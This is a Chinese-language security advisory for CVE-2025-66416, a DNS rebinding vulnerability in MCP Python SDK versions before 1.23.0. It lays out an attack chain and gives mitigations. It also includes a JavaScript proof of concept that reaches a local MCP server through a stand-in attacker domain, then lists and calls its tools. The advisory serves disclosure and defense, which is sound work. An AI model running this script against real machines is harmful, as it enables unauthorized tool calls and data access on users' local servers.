IPBUF安全漏洞报告
English
CVE-2025-66416 CVSS 8.1 高危

CVE-2025-66416: MCP Python SDK DNS重绑定保护缺失漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-66416
漏洞类型
DNS重绑定攻击
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MCP Python SDK (mcp)

相关标签

DNS重绑定攻击MCP Python SDKModel Context ProtocolFastMCPHTTP传输同源策略绕过安全配置缺失认证缺失本地服务器攻击

漏洞概述

CVE-2025-66416是Model Context Protocol (MCP) Python SDK中的一个高危安全漏洞,CVSS评分8.1。该漏洞影响1.23.0之前的所有版本,源于HTTP-based MCP服务器默认未启用DNS重绑定保护机制。当开发者使用FastMCP框架创建HTTP或SSE传输的本地服务器,且未配置TransportSecuritySettings时,攻击者可通过恶意网站利用DNS重绑定技术绕过浏览器同源策略,向本地MCP服务器发起未授权请求。此漏洞可导致攻击者冒充用户身份调用MCP服务器暴露的工具或访问受限资源,窃取敏感数据或执行未授权操作。值得注意的是,使用stdio传输的服务器不受此漏洞影响,但本地运行HTTP服务器且无认证配置违反了MCP安全最佳实践。官方已在1.23.0版本中修复此问题,建议所有用户立即升级。

技术细节

该漏洞的核心问题在于MCP Python SDK在处理HTTP传输时缺少DNS重绑定保护。当MCP服务器以HTTP模式运行在localhost时,浏览器同源策略本应阻止跨域请求,但DNS重绑定技术可绕过此限制。攻击者首先注册一个恶意域名,指向攻击者控制的服务器,该服务器响应带有极短TTL的DNS记录。受害者访问攻击页面后,DNS解析指向攻击者服务器,随后攻击者通过JavaScript将域名快速切换指向127.0.0.1。此时浏览器的同源检查基于域名而非IP地址,使得来自攻击者页面的JavaScript代码能够向本地MCP服务器发起请求。由于MCP协议支持工具调用和资源访问,攻击者可利用用户会话权限执行敏感操作,如读取本地文件、执行系统命令等。漏洞利用前提条件包括:目标主机运行未修复的MCP服务器、使用HTTP传输、本地访问且无认证保护。

攻击链分析

STEP 1
步骤1
攻击者注册恶意域名并配置DNS服务器,设置极短TTL(如1秒),初始解析指向攻击者控制的外部服务器
STEP 2
步骤2
攻击者诱导受害者访问包含恶意JavaScript的网页,该脚本发起对攻击者域名的请求
STEP 3
步骤3
DNS服务器在TTL过期后,将域名解析快速切换为受害者本地IP(127.0.0.1),此时浏览器同源策略检查仍认为请求来自同一源
STEP 4
步骤4
恶意JavaScript利用DNS重绑定绕过,向本地MCP服务器发送HTTP请求,调用/list_tools端点获取可用工具列表
STEP 5
步骤5
攻击者分析工具列表后,通过/tools/call端点调用敏感工具,如文件读取、系统命令执行等,窃取敏感数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-66416 DNS Rebinding Attack PoC // Target: MCP Python SDK < 1.23.0 with HTTP transport const TARGET_HOST = 'localhost'; const TARGET_PORT = 6277; const ATTACKER_DOMAIN = 'attacker-controlled-domain.com'; // Step 1: Initial DNS resolution to attacker server async function exploitDNSRebinding() { // This would be handled by the attacker's DNS server with short TTL console.log('[*] Initiating DNS rebinding attack against MCP server'); // Step 2: After DNS switches to 127.0.0.1, send MCP request const mcpRequest = { jsonrpc: '2.0', id: 1, method: 'tools/list', params: {} }; try { // Step 3: Bypass Same-Origin Policy via DNS rebinding const response = await fetch(`http://${ATTACKER_DOMAIN}:${TARGET_PORT}/mcp`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(mcpRequest), credentials: 'include' }); const result = await response.json(); console.log('[+] Tools exposed:', JSON.stringify(result, null, 2)); // Step 4: Invoke sensitive tool (if available) if (result.result && result.result.tools) { for (const tool of result.result.tools) { console.log(`[*] Available tool: ${tool.name}`); // Attempt to call the tool await invokeTool(tool.name); } } } catch (error) { console.error('[-] Attack failed:', error.message); } } async function invokeTool(toolName) { const invokeRequest = { jsonrpc: '2.0', id: 2, method: 'tools/call', params: { name: toolName, arguments: {} } }; await fetch(`http://${ATTACKER_DOMAIN}:${TARGET_PORT}/mcp`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(invokeRequest) }); } exploitDNSRebinding();

影响范围

MCP Python SDK (mcp) < 1.23.0

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 使用--transport-security选项配置传输安全设置;2) 强制使用HTTPS而非HTTP;3) 为MCP服务器添加认证层;4) 考虑使用stdio传输替代HTTP传输;5) 在防火墙层面限制对本地MCP服务器的访问,仅允许受信任的来源连接。同时监控服务器日志,排查异常的外部访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表